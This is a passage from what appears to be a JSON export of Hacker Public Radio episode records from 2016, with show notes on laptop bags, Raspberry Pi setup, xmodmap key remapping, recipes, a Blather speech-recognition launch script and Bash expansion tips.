                                                              • Comment 2:\nKen Fallon on 2016-04-22:\n\"large complex files \"
                                                              • \n

                                                            • \n
                                                            • hpr2014\n(2016-04-21) \"A first look at the Owon B35T Part 2\"\nby NYbill.\n
                                                              • Comment 1:\nMike Ray on 2016-04-21:\n\"Great Show\"
                                                              • Comment 2:\nNYbill on 2016-04-21:\n\"Its a brand new bench! \"
                                                              • Comment 3:\nKen Fallon on 2016-04-25:\n\"Logging in android\"
                                                              • \n

                                                            • \n
                                                            • hpr2015\n(2016-04-22) \"Linux in the Church\"\nby Joe.\n
                                                              • Comment 1:\njan on 2016-04-24:\"[no title]\"
                                                              • Comment 2:\nKen Fallon on 2016-04-25:\n\"Great episode\"
                                                              • \n

                                                            • \n
                                                            • hpr2016\n(2016-04-25) \"Echoprint\"\nby laindir.\n
                                                              • Comment 1:\nKen Fallon on 2016-04-25:\n\"Thank you Thank you Thank you Thank you \"
                                                              • \n

                                                            • \n
                                                            • hpr2019\n(2016-04-28) \"a pi project and an owncloud project\"\nby Matt McGraw (g33kdad).\n
                                                              • Comment 1:\nMatt (g33kdad) on 2016-04-23:\n\"Some photos\"
                                                              • Comment 2:\nJonathan Kulp on 2016-04-30:\n\"Muttonchop too\"
                                                              • \n

                                                            • \n
                                                            • hpr2020\n(2016-04-29) \"Automotive Billing\"\nby brian.\n
                                                              • Comment 1:\nFrank on 2016-04-30:\"[no title]\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2022,"date":"2016-05-03","title":"Whats in my bag","duration":1587,"summary":"What I carry in my computer bag when I hit the road.","notes":"
                                                              \n
                                                            • Swissgear messenger bag
                                                              \n https://www.conrad.com/ce/en/product/977572/Swissgear-Yukon-156-to-173-Laptop-Bag-Wenger-SwissGear-SWISSGEAR-173-Black (this link is to a newer version, closest I could find to my 7 year old bag)
                                                              \n This bag has been with me since 2009, and for about the last 3 years did double duty, carrying both of my laptops with other assorted gear, and has held up beautifully, No fabric wear, not a stitch or seam broken anywhere. Both zippers are intact and still pull smooth and easily, they haven't even lost the pull-tabs (usually my first issue with any zipper). The handle and the shoulder strap are reasonably comfortable (for a single shoulder strap) and show no signs of wear either. Can't recommend this bag enough if you are looking for a tough messenger bag. If you are going to haul 2 laptops around (plus gear) I would strongly recommend something with 2 shoulder straps though, if you're doing any serious walking about.

                                                            • \n
                                                            • Toshiba Satellite P855-S5312
                                                              \n https://www.cnet.com/products/toshiba-satellite-p855-s5312-15-6-core-i5-3210m-windows-8-6-gb-ram-750-gb-hdd-series/specs/
                                                              \nI beefed up the ram to 16gb and removed the optical drive in order to install a second hard drive. I also replaced the original 750gb spinning HDD. The new drives were both samsung evo 500gb SSD's. https://www.newegg.com/Product/Product.aspx?Item=9SIA2W02DV8166 My only real gripe about this laptop is the screen resolution, which maxes out at 1366x768. IMHO, this is a waste of real estate on a 15.6 inch screen. I am looking into this, but replacement with a higher resolution screen seems to be unfeasible, from what I am reading. ( IF YOU HAVE SUGGESTIONS OR KNOW OF A SOLUTION I WOULD LOVE TO HEAR ABOUT IT!!)

                                                            • \n
                                                            • The old HP Pavillion dv5-1235dx
                                                              \n https://www.cnet.com/products/hp-pavilion-dv5-1235dx-15-4-core-2-duo-t6400-vista-home-premium-64-bit-4-gb-ram-320-gb-hdd-series/specs/
                                                              \n(I dont presently haul this one around anymore) Got this one in '09. nice screen doing 1680x1050 , but I didn't care for the plastic housing. I like the metal case on the toshiba. - although older, I really liked this laptop, and still prefer the keyboard (although somewhat cramped) over the one on my Toshiba. The feel of the keys themselves and the distinctive stroke and light click as you press down through the detent, just feels better than the chiclet keyboard on my newer machine. Incidentally, I once spilled a rum and coke across this thing, keyboard and all, while it was powered down. After dry out and a good cleaning, it fired up and still works. I don't recommend trying to re create this experiment though. Dumb luck, I suppose. I was sure it would be a deader.

                                                            • \n
                                                            • Wacom intuos cth480 pen/touch tablet
                                                              \n https://www.amazon.com/Wacom-Intuos-Tablet-Certified-Refurbished/dp/B00Q7FU5YS
                                                              \n (this thing isn't available in this form anymore) these are very nice and work out of the box for me on debian, and mint, (cant speak for other distros). Getting the pen's pressure sensitivity settings in some drawing programs (krita, gimp, etc) can sometimes be a bit fiddly and sometimes hard to find. Overall works quite well, although I am not a professional artist. Trucker, remember? Fun to play with, and reasonably small so its good travel size.

                                                            • \n
                                                            • Toshiba 2TB 'canvio' portable hard drive
                                                              \n
                                                            • \n
                                                            • Western Digital 2TB 'my passport ultra' portable hard drive
                                                              \nI carry one of these (WD) for extra storage and backups of my laptop. The other ( the Toshiba) I use mostly for storage of my movies and TV series collections (gotta have your firefly fix, right?). As to which one is better, I prefer the case on the Toshiba, just seems more durable in that high impact plastic, but I will let you know when one of them fails me :)

                                                            • \n
                                                            \n

                                                            and for those real long distance wifi signals (and/or getting into monitor mode):

                                                            \n\n

                                                            (missed these in the audio)

                                                            \n
                                                              \n
                                                            • zebra f-301 ballpoint pens, black ink, 2 in fine point and 2 in medium
                                                            • \n
                                                            • several cheap highlighter markers and one sharpie
                                                            • \n
                                                            \n

                                                            Just to be clear...I included many of the links here from Amazon and other shopping sites, or from c-net, because I couldn't see how to load my pictures in with the notes, not because I want to give product reviews or sell anyone anything. I know it can be done, because I see it elsewhere, I'm just too tired to figure it out now. next one. As I understand it, I owe at least 2-3 shows. Be patient with me Ken, I'm workin' on it.

                                                            \n

                                                            Links

                                                            \n\n","hostid":330,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"laptop,Wacom tablet,hard drive,antenna","version":0,"downloads":0,"valid":1}, {"id":2023,"date":"2016-05-04","title":"Setting up my Raspberry Pi 3","duration":1716,"summary":"I bought a RPi 3, a case, a heatsink and an SSD and have set the Pi up as a server","notes":"

                                                            Setting up my Raspberry Pi 3

                                                            \n

                                                            I bought a Raspberry Pi 3 in March 2016, soon after it was released. I want to use it as a server since it's the fastest Pi that I own, so I have tried to set it up in the best way for that role.

                                                            \n

                                                            In this episode I describe what I did in case you want to do something similar.

                                                            \n

                                                            Follow this link to refer to the full notes for the details.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi,SSD,Raspbian","version":0,"downloads":0,"valid":1}, {"id":2024,"date":"2016-05-05","title":"Remapping Keys with xmodmap","duration":531,"summary":"I describe how I use xmodmap to remap my spacebar to make underscores","notes":"

                                                            In this episode I talk about how I tried to implement an idea that my son had when we were talking one day. I was complaining about file names with spaces in them, and he asked what if the computer automatically changed the spacebar so that it made underscores whenever somebody was trying to save a file? I thought this was a great idea. I even thought of a way implement it, though not quite as magically as he had envisioned. My solution involves the use of the command-line tools xev and xmodmap, and one blather voice prompt to launch the xmodmap command that will remap the spacebar to make underscores instead. Maybe somebody a whole lot smarter than me can figure out how to make this happen automatically whenever a save dialog box is open.

                                                            \n\n

                                                            First you need to find the keycode for your spacebar. Run the xev command and then press the spacebar to see which key code it is. Here's the output on my laptop:

                                                            \n\n
                                                            KeyPress event, serial 48, synthetic NO, window 0x4e00001,\n    root 0xc0, subw 0x0, time 116149126, (-739,-226), root:(448,358),\n    state 0x0, keycode 65 (keysym 0x20, space), same_screen YES,\n    XLookupString gives 1 bytes: (20) \" \"\n    XmbLookupString gives 1 bytes: (20) \" \"\n    XFilterEvent returns: False\n
                                                            \n\n

                                                            As you can see, my spacebar has the keycode of \"65.\" Now we use xmodmap to reassign keycode 65 to make underscores:

                                                            \n\n
                                                            xmodmap -e \"keycode 65 = underscore\"
                                                            \n\n

                                                            Now to test it out. While xev is running, press spacebar. Notice that now when the spacebar is pressed it makes an underscore:

                                                            \n\n
                                                            KeyPress event, serial 57, synthetic NO, window 0x2600001,\n    root 0xc0, subw 0x0, time 116190619, (-520,-247), root:(667,337),\n    state 0x0, keycode 65 (keysym 0x5f, underscore), same_screen YES,\n    XLookupString gives 1 bytes: (5f) \"_\"\n    XmbLookupString gives 1 bytes: (5f) \"_\"\n    XFilterEvent returns: False\n
                                                            \n\n

                                                            And to change it back:

                                                            \n\n
                                                            xmodmap -e \"keycode 65 = space\"
                                                            \n\n

                                                            Now whenever I want to change the spacebar to make underscores or switch it back, I speak one of the following commands, which are in my blather configuration file.

                                                            \n\n
                                                            \nMAKE UNDERSCORES: xmodmap -e \"keycode 65 = underscore\"\nMAKE SPACES: xmodmap -e \"keycode 65 = space\"\n
                                                            \n\n

                                                            Links

                                                            \n\n
                                                              \n\t
                                                            • xmodmap man page: xmodmap is a utility for modifying keymaps and pointer button mappings in X
                                                            • \n\t
                                                            • xev man page: use xev print contents of X events
                                                            • \n
                                                            \n\n

                                                            Video Demonstration

                                                            \n\n

                                                            https://www.youtube.com/embed/hKEax8IqxAU

                                                            \n\n","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"tips and tricks, CLI, bash, linux, accessibility","version":0,"downloads":0,"valid":1}, {"id":2025,"date":"2016-05-06","title":"Using a Smartphone as a microphone","duration":63,"summary":"I talk about an App that pipes the audio input of my Smartphone into my Computer to record this show","notes":"

                                                            Hello citizen of the Internet, my name is njulian, and in my first Episode for HPR I want to talk about an App called \"Microphone\". This App is available for Android in the F-Droid repository, link is in the Shownotes.

                                                            \n

                                                            All it does is sending the audio input from the microphone directly into the audio output. This causes horrible feedback loops, if the output happens to be the Phone's speakers. But if you plug a Male-to-Male 3.5mm cable into your Phone and the other end into your Computer you can use your Smartphone as a Microphone. Actually I am using this right now to record this show with Audacity on my Laptop. The reasons for that are pretty simple: I don't have enough free space on my Phone to record a show with Urecord and the other is that I was curious if this app really works.

                                                            \n

                                                            Well, actually there is not much more I could tell about the App. It has no menu, no way to customize it, and as you can hear no noise suppression.

                                                            \n

                                                            That's about it, thanks for listening.

                                                            \n

                                                            The App: https://f-droid.org/repository/browse/?fdfilter=microphone&fdid=net.bitplane.android.microphone

                                                            \n

                                                            The Cable: https://en.wikipedia.org/wiki/Phone_connector_%28audio%29

                                                            \n

                                                            Links

                                                            \n\n","hostid":331,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"android app","version":0,"downloads":0,"valid":1}, {"id":2026,"date":"2016-05-09","title":"What's in my Bag... Again!","duration":503,"summary":"A look at what I carry in my bag every day. It's quite different than the last show.","notes":"

                                                            \nJust a look at what I keep in my bag these days, though I forgot to mention my beloved Zojirushi thermos (SM-JA48-BA)!\n

                                                            ","hostid":241,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"edc, personal, bag, backpack, tools, laptops, junk","version":0,"downloads":0,"valid":1}, {"id":2027,"date":"2016-05-10","title":"Old Engineers and New Engineers","duration":782,"summary":"I describe my and my children's attempts to solve a puzzle","notes":"

                                                            \nThis is a short episode about a puzzle that I got for my birthday from my in-laws. I gave the puzzle to two of my children to solve after I'd taken a crack at it. It was amusing to see see how and old engineer thought about the problem compared with young ones. Pictures of the puzzle are attached. The object is to get one ball in each notch at the end of the block at the same time.\n

                                                            \n

                                                            \"half

                                                            \n

                                                            \"top

                                                            \n

                                                            \"bearings

                                                            \n","hostid":259,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"puzzle,problem solving,engineer","version":0,"downloads":0,"valid":1}, {"id":2028,"date":"2016-05-11","title":"Some basic info on alarm systems","duration":458,"summary":"A very basic intro into some alarm equipment","notes":"

                                                            \nA very basic bit of information on some alarm equipment.\n

                                                            ","hostid":332,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"alarm,PIR,sensor","version":0,"downloads":0,"valid":1}, {"id":2029,"date":"2016-05-12","title":"The DSO138 Oscilloscope Kit","duration":1258,"summary":"NYbill talks about building a DSO138 Oscilloscope kit.","notes":"

                                                            In this episode NYbill talks about building a DSO138 Oscilloscope kit.

                                                            \n\n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"oscilloscope,electronics,soldering,SMD","version":0,"downloads":0,"valid":1}, {"id":2030,"date":"2016-05-13","title":"Book Review: The Pocket Ref","duration":886,"summary":"This is a short review of the Pocket Ref","notes":"

                                                            Recorded this episode while suffering from some severe seasonal allergies, so please disregard any sniffing, wheezing or coughing that may have crept in.

                                                            \n

                                                            This is a brief introduction to the Pocket Ref by Thomas Glover. In this episode, I don't go into great depth of the books many topics, primarily due to the nature of the book itself. It is meant to be a reference book, and as such it contains a treasure trove of reference material from a very broad range of topics.

                                                            \n

                                                            Also, I mention a few other titles in this series - links below.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"book review,reference book","version":0,"downloads":0,"valid":1}, {"id":2031,"date":"2016-05-16","title":"A quick intro to OBD2 with Android","duration":293,"summary":"Introduces automobile OBD2 and briefly profiles three available apps for Android.","notes":"\n\n

                                                            Links

                                                            \n\n","hostid":333,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"automotive, automobile, car, cars, bluetooth, android, apps","version":0,"downloads":0,"valid":1}, {"id":2032,"date":"2016-05-17","title":"How I Came to Linux","duration":868,"summary":"Steve tells his story of how he came to be a Linux user.","notes":"

                                                            I tell the story of how I learned about computers and eventually came to be an avid Linux user.

                                                            \n

                                                            I've been using Linux as my primary operating system for almost 20 years now. My primary distribution of choice has always been Slackware, but I have branched out to some more "modern" distributions as well, particularly for workstation environments.

                                                            \n

                                                            I have been an HPR listener now for several months and this is my first show. I enjoy the podcast very much and hope to see it continue for many more years. Thank you to the administrators and leaders to make it all possible. And, of course, thank you to everyone that contributes shows.

                                                            \n","hostid":334,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux","version":0,"downloads":0,"valid":1}, {"id":2033,"date":"2016-05-18","title":"Distro Review: Bodhi Linux","duration":1082,"summary":"A brief review of Bodhi Linux","notes":"\n

                                                            As with my last episode, you may hear some sniffling or pauses as I catch my breath. It is springtime in Kentucky, and my allergies are full force right now.

                                                            \n

                                                            In this episode, I take Bodhi Linux for a test drive. I'll tell you what I liked, what I didn't like, and how well or bad it performed on my test machine.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Bodhi Linux,Moksha Desktop,Midori","version":0,"downloads":0,"valid":1}, {"id":2034,"date":"2016-05-19","title":"Frank's Five Seed Bread","duration":426,"summary":"Frank describes his recipe for Five Seed Bread, inspired by a Kerry Greenwood mystery novel","notes":"

                                                            Frank describes his recipe for Five Seed Bread, inspired by Kerry Greenwood's first Corinna Chapman mystery novel, \"Earthly Delights.\"

                                                            \n

                                                            List of Ingredients:

                                                            \n
                                                              \n
                                                            • 1 cp. (237 ml.) warm water
                                                            • \n
                                                            • 1 packet yeast
                                                            • \n
                                                            • 1 1/2 cps. (213 grams) white flour, approx.
                                                            • \n
                                                            • 1 1/2 cps. (213 grams) rye flour, approx.
                                                            • \n
                                                            • 1 tbs. (14 grams) each dill seed, fennel seed, sesame seed, caraway seed, or to taste
                                                            • \n
                                                            • 1 tsp. (5 ml.) coriander (the reference in the story referred to coriander seed, but I didn’t have any of that, so I ad libbed)
                                                            • \n
                                                            • 1/4 (1 ml.) tsp. salt
                                                            • \n
                                                            • 1/2 tsp. (2 ml.) light brown sugar
                                                            • \n
                                                            \n

                                                            Links:

                                                            \n\n","hostid":195,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"bread, cooking, baking","version":0,"downloads":0,"valid":1}, {"id":2035,"date":"2016-05-20","title":"Building Community","duration":465,"summary":"droops discusses some ideas on how to expand the HPR community","notes":"

                                                            \nThis is droops and this is also Hacker Public Radio.\n

                                                            \n\n

                                                            \nI love HPR and noticing our current need for shows, I put it on my list that I needed to help out. But what to talk about?\n

                                                            \n\n

                                                            \nLet’s talk about growing HPR. It is a cool show and project, but if the community does not grow the show will end. People run out of shows to host and others have to fill that space.\n

                                                            \n\n

                                                            \nI think we do a great job doing outreach to the community by going to conventions, getting mentioned in articles and magazines, and being cool with everyone. But as a community we could do a little more to get to the 4000 show mark. Even my lazy butt can help with these things.\n

                                                            \n\n

                                                            \nFirst, let’s bring more traffic to the site. To do this we need content, which is really all we have. But we need to be more clever with how we use it.\n

                                                            \n\n

                                                            \nWe need to transcribe all of our shows. This allows search engines to better index our content and bring more people to our site. Maybe they won’t subscribe or even listen to a show with the content being readable, but they were not going to listen anyway by not finding us. This is a big chore and we would need a team with leadership to do it.\n

                                                            \n\n

                                                            \nWe need more popular hosts (this sounds bad taken at face value) to guest host shows and mention HPR on their shows. We used to do this by sending in bumpers like “this is droops from Hacker Public Radio and we live whatever this show is. Hacker Public Radio is a daily show created by the community”. Let’s make a list of podcasters we want to guest host or mention our show and go after them.\n

                                                            \n\n

                                                            \nSpeaking of guest hosts, let’s work on interviewing more people who will put our show on their blog/social media. We did this in the early days of Twatech with Moka5 and we got a lot of traffic from this. I do know that we already do this, but not everyone who listens contributes a show and this is an easy way to do it.\n

                                                            \n\n

                                                            \nWhat if we made it easier to record shows? Maybe have an Android/iOS app to record and submit shows from.\n

                                                            \n\n

                                                            \nWe could have a tool to submit show topics or do a survey to find out what people are interested in. This may prompt people to record shows by knowing that someone would be interested in it.\n

                                                            \n\n

                                                            \nSomeone could get some free stock photos (or better yet we could just take our own) and put show titles over the images to share on social media. People click on images. I will do this so that everyone can see my ugly face.\n

                                                            \n

                                                            \n\n\"a\n\n\n

                                                            \n

                                                            \nOn that note, how about a video that explains what HPR is. This may be a good droops project. That would be something awesome to share on social media.\n

                                                            \n\n

                                                            \nThe website, which is a lot of work, needs to have related shows listed on each individual shows page. This will take a tag system and someone to tag all of the almost uncountable previous episodes.\n

                                                            \n\n

                                                            \nOne of my favorite show formats is reviews of software/media. This is so much in our community to keep up with and HPR is perfect for this. Everyone should do a show about some unique software they use or a cool book they are reading or a cool documentary they watched. Five minutes about something cool would bring me into learning more about it.\n

                                                            \n\n

                                                            \nCurrently my classes are watching a documentary about the Silk Road called Deep Web (https://www.deepwebthemovie.com/). I should do a show on it to talk about privacy, government, all the cool things it brings up. We have not gotten far into the documentary yet as we keep stopping it to have discussions. \n

                                                            \n\n

                                                            \nAlso I love stickers, we should set up a store to sell stickers and t-shirts. Heck this is HPR, we should have tote bags. We can either sell them at cost or make a profit to pay for hosting or swag to give away.\n

                                                            \n\n

                                                            \nHacker Public Radio is driven by the community and our community as a whole is much smarter than I am. Let’s put our minds together and grow our show.\n

                                                            \n","hostid":1,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"community","version":0,"downloads":0,"valid":1}, {"id":2036,"date":"2016-05-23","title":"Glasgow Podcrawl 2016","duration":1716,"summary":"Kevie and Dave invite you to the 2016 Glasgow Podcrawl","notes":"

                                                            Glasgow Podcrawl 2016

                                                            \n

                                                            Kevie and Dave Morriss chat about the upcoming Glasgow Podcrawl. This year's event takes place on the 29th of July 2016 and kicks off at 6pm in the State Bar, Holland Street.

                                                            \n

                                                            The event is open to anybody with an interest in podcasting, open source software or creative commons music. Whether you're an enthusiast or just interested in finding out more, also if you're a member of a band, then we would love to have you along for a yarn over a few pints.

                                                            \n

                                                            Check out https://kmacphail.blogspot.co.uk/2016/04/glasgow-podcrawl-2016.html for more details and a map of how to get to the bar.

                                                            \n

                                                            Music on this episode is "Beer" from Darkman Sounds https://www.jamendo.com/track/1182203/beer

                                                            \n

                                                            Links

                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Glasgow,Podcrawl,open source, ccmusic, podcast, Linux","version":0,"downloads":0,"valid":1}, {"id":2037,"date":"2016-05-24","title":"Alpha32's Pinhead Oats","duration":282,"summary":"I talk about how I cook steel cut oats, and ask you all to please share your favorite recipes","notes":"

                                                            It's oatmeal, I don't know how much we need in terms of notes.

                                                            \n

                                                            Recipe:

                                                            \n
                                                              \n
                                                            • 2 cups water
                                                            • \n
                                                            • 1/8 teaspoon salt
                                                            • \n
                                                            • 2/3 cup steel cut/pinhead oats
                                                            • \n
                                                            • 1/8 teaspoon total allspice, nutmeg, cinnamon
                                                            • \n
                                                            • 1/4 cup brown/demerara/whatever sort of sugar
                                                            • \n
                                                            • 1/2 cup raisins
                                                            • \n
                                                            \n
                                                              \n
                                                            1. boil water and salt
                                                            2. \n
                                                            3. heat on medium, add oats, spices, sugar
                                                            4. \n
                                                            5. stirring regularly, cook for 6 minutes, or until you get tired of stirring.
                                                            6. \n
                                                            7. remove from heat, add raisins.
                                                            8. \n
                                                            9. let sit for a few minutes to cool/finish absorbing water.
                                                            10. \n
                                                            11. enjoy!
                                                            12. \n
                                                            \n","hostid":303,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"pinhead oats, cooking, recipe, oatmeal, porridge, steel-cut oats","version":0,"downloads":0,"valid":1}, {"id":2038,"date":"2016-05-25","title":"Attempting to fix a plastic boat","duration":923,"summary":"Using fire and various bits of plastic, jezra attempts to repair a hole in a plastic boat.","notes":"

                                                            I'm on a boat!

                                                            \n","hostid":243,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"boat","version":0,"downloads":0,"valid":1}, {"id":2039,"date":"2016-05-26","title":"Blather Configuration Part 0: Initial Setup","duration":1146,"summary":"In this episode I walk you through the process of getting blather running for the first time","notes":"

                                                            In this episode I walk you through the process of getting the Blather GNU/Linux speech recognition program running for the first time.

                                                            \n\n

                                                            Arch: On Arch Linux this is really easy. Jezra made a package build for the AUR so you can just install it that way.

                                                            \n\n

                                                            Debian: I wrote an installation script for Debian-based systems that installs the dependencies to build pocketsphinx, plus a few extra packages that I use continually when I'm running blather (xvkbd, xdotool, espeak, wmctrl, elinks, xclip, curl). It builds/installs the Sphinx stuff, pulls the blather source code, and puts some configuration files and a startup script in place for you. This should take care of pretty much all of the heavy lifting.

                                                            \n\n

                                                            I refer frequently to Jezra's usage notes on the Blather source code page at gitlab, so if you're trying to install this as I talk, you might want to follow along over there.

                                                            \n\n

                                                            The trickiest bit in the initial run is the creation and placement of the language files. I normally use a bash script for this, but on this first episode of the series I'm going to use the web-based lmtool to create the language files, just the way Jezra says to do on his usage page. He also includes my automated language updater script in the blather source code, though, so going forward I will be talking about how to use that script instead of the web-based tool.

                                                            \n\n

                                                            Blather Launch Script

                                                            \n\n

                                                            I use a bash script to launch Blather because I want to set several environmental variables: location of the pocketsphinx gstreamer libraries, default browser, default text-to-speech engine, and so forth. Having these environmental variables set means that I can use easy-to-remember shortcuts in my blather commands config file. Here is my launch script:

                                                            \n\n
                                                            #!/bin/bash\n\n# tell it where the Gstreamer libraries are\nexport GST_PLUGIN_PATH=/usr/local/lib/gstreamer-0.10\n\n# set some shortcuts to use in the commands file\n\n#export VOICE=\"/usr/bin/festival --tts\"\nexport VOICE=\"/usr/bin/espeak\"\nexport CONFIGDIR=\"/home/$(whoami)/.config/blather\"\nexport KEYPRESS=\"xvkbd -xsendevent -secure -text\"\nexport BROWSER=\"chromium-browser\"\n\n# add blather script directory to the user's PATH\nexport PATH=\"$HOME/bin:/home/$(whoami)/.config/blather/scripts:$PATH\"\n\n# start blather in continuous mode with the GTK GUI\n# and a history of 20 recent commands\n\npython2 /home/$(whoami)/code/blather/Blather.py -c -i g -H 20\n
                                                            \n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n\n","hostid":238,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"blather, speech recognition, accessibility, scripting, GNU/Linux","version":0,"downloads":0,"valid":1}, {"id":2040,"date":"2016-05-27","title":"Why I Use Linux","duration":300,"summary":"A short description of why someone would stumble onto Linux and not want to leave.","notes":"

                                                            My first objective in making this show is to actually record a show, which is something I've never done.

                                                            \n

                                                            My second objective was to say something interesting about why I use Linux, how I found it and why I think I keep using it.

                                                            \n

                                                            I found Linux by word of mouth. It was a bit of a hassle to use back then and I wouldn't have stuck with it if the system didn't meet my needs better than everything else that was available to me. Cost was very important at first, but as time has gone by, it's been the tools and the usability of the system that have made me stay with it.

                                                            \n

                                                            Despite their differences, Apple and Microsoft both try hard to be big, to have lots of users (buyers). They try to be everything to everyone. I think that happens with some Linux distributions too, but Linux is not one thing in the way that Windows is one thing. This means that at least some distributions can be less focused on keeping up with the latest, flashiest things. Linux just works for what I need it to do. I miss it when I'm not using it.

                                                            \n

                                                            Most of the work I do besides household bookkeeping is programming for the web. The tools I use most often are: Vim, git, grep, Filezilla, the LAMP stack, Meteor, Firefox, Chromium. Many of these tools are afterthoughts in other systems, whereas they seem like native inhabitants in a Linux distribution.

                                                            \n","hostid":335,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"linux, Vim, git, grep, Filezilla, LAMP stack, Meteor, Firefox, Chromium","version":0,"downloads":0,"valid":1}, {"id":2041,"date":"2016-05-30","title":"Router Antennas More = better ?","duration":454,"summary":"A ham operators view on router antennas","notes":"

                                                            \nReally complicated phasing of radio signals.\n

                                                            \n

                                                            \"Diagram

                                                            \n

                                                            \"Alternative

                                                            \n

                                                            \"Lyle

                                                            \n","hostid":336,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"router,antenna,ham radio","version":0,"downloads":0,"valid":1}, {"id":2042,"date":"2016-05-31","title":"My podcast list","duration":1027,"summary":"Just a listing of the podcasts I listen to","notes":"
                                                              \n
                                                            • [www, rss] Wait Wait Don't Tell Me
                                                            • \n
                                                            • [www, rss] The Pi Podcast
                                                            • \n
                                                            • [www, rss] NPR Politics Podcast
                                                            • \n
                                                            • [www, rss] Common Sense with Dan Carlin
                                                            • \n
                                                            • [www, rss] dan Carlin's Hardcore History
                                                            • \n
                                                            • [www, rss] Linux Luddites
                                                            • \n
                                                            • [www, rss] HPR
                                                            • \n
                                                            • [www, rss] Geekspeak
                                                            • \n
                                                            • [www, rss] Car Talk
                                                            • \n
                                                            • [www, rss] AOPA Live
                                                            • \n
                                                            • [www, rss] The Linux Link Tech Show
                                                            • \n
                                                            • [www, rss] Frank Delaney's Re:Joyce
                                                            • \n
                                                            \n","hostid":116,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcast,recommendation","version":0,"downloads":0,"valid":1}, {"id":2043,"date":"2016-06-01","title":"My First Beer Podcast","duration":264,"summary":"Discussing beer tasting","notes":"

                                                            Hey. It's MeToo here again. On this episode, were diverging from my last podcast of coffee and switching topics to, wait for it. Wait for it. BEER.

                                                            \n

                                                            Now, you might think to yourself, \"What the heck! Beer?\" I know. I know. It's so plebeian, right?

                                                            \n

                                                            Well. I too, use to think like that. What with the shades of Budweiser, Michelob, Iron Horse, Iroquois, Genesee, etc... All squaw piss. Right?

                                                            \n

                                                            I was raised on wines & cocktails. But, over recent years, especially after listening to many of you guys' podcast on beer-making and drinking, I became interested in wanting to try some of these artisan beers you all have spoken of. But, being overseas in a foreign country, my chances of such are like a snowball's chance in hell. Or so I thought.

                                                            \n

                                                            Then came one night when I was on my way to teach a class at one of the local universities, and passed by a newly opened bar with the humorous name of \"Nobody Knows Bar.\" Where, when I glanced in the window and to my amazement, were many of the very beers you all had been talking so much about. Wow! Here was my chance to partake. So, I went to class and afterwards stopped in to the bar.

                                                            \n

                                                            So, I tried a beer. It just happened to be an IPA. Now, don't get me wrong. Many, many years ago I had tried an IPA and found it far from my liking. So, my first choice wouldn't have been an IPA normally. Again you ask, \"Why did you choose an IPA this time?\" Well, the reason was bartender recommended it.

                                                            \n

                                                            And again to my amazement (to coin a phrase), it was great. I guess the reason for enjoying it over before is that, as like everyone, my taste buds had changed. And truthfully speaking, I've come to like IPAs over many others.

                                                            \n

                                                            So, to no longer digress. Let me tell you what I chose and my opinions on the beer.

                                                            \n

                                                            The beer? A 12oz. 8.2% Alc. by vol., glass bottled Lagunitas Brewery's Lagunitas Unlimited Release Maximus IPA Maximus Ale. I love the labeling. It reads: \"Life is uncertain. Don't dip.\" Also, \"If some is good, more is better.\" And one final one, \"Instant gratification isn't fast enough.\" What a lark!

                                                            \n

                                                            Enough diddle dallying. On to the tasting: The nose on this beer is crisp and light. The first mouthing brings a floral, fruity semi-sweet taste. The fruitiness continues into the aftertaste with an added semi-dryness. And yet, despite the alcohol content, doesn't ring your clock. The longer after flavor is strongest on the underside of the back of the tongue. Very pleasant.

                                                            \n

                                                            So. There you have it. My first beer tasting. I hope you found it telling. And maybe you too will try a bottle. I highly recommend it. I will continue these tasting over the course of time. Now don't get me wrong. I'm no sot. And I still like my coffees, but I have now found a new \"like\" and it's artisan beers.

                                                            \n

                                                            \n\"hand

                                                            \n\n

                                                            Until next time. This is MeToo signing out and wishing you happy trails and happy beers.

                                                            \n","hostid":313,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Beer Tasting","version":0,"downloads":0,"valid":1}, {"id":2044,"date":"2016-06-02","title":"Bring on the Power!","duration":1160,"summary":"It this episode NYbill talks about power supplies used for electronics work.","notes":"

                                                            It this episode NYbill talks about power supplies used for electronics work.

                                                            \n\n","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"power supply,electronics","version":0,"downloads":0,"valid":1}, {"id":2045,"date":"2016-06-03","title":"Some other Bash tips","duration":3353,"summary":"Yet more information about types of expansion in Bash","notes":"

                                                            Some other Bash tips

                                                            \n

                                                            Expansion

                                                            \n

                                                            As we saw in the last episode 1951 (and others in this sub-series) there are eight types of expansion applied to the command line in the following order:

                                                            \n
                                                              \n
                                                            • Brace expansion (we looked at this subject in episode 1884)
                                                            • \n
                                                            • Tilde expansion (seen in episode 1903)
                                                            • \n
                                                            • Parameter and variable expansion (this was covered in episode 1648)
                                                            • \n
                                                            • Command substitution (seen in episode 1903)
                                                            • \n
                                                            • Arithmetic expansion (seen in episode 1951)
                                                            • \n
                                                            • Process substitution
                                                            • \n
                                                            • Word splitting
                                                            • \n
                                                            • Pathname expansion
                                                            • \n
                                                            \n

                                                            We will look at process substitution and word splitting in this episode but since there is a lot to cover in these subjects, we'll save pathname expansion for the next episode.

                                                            \n

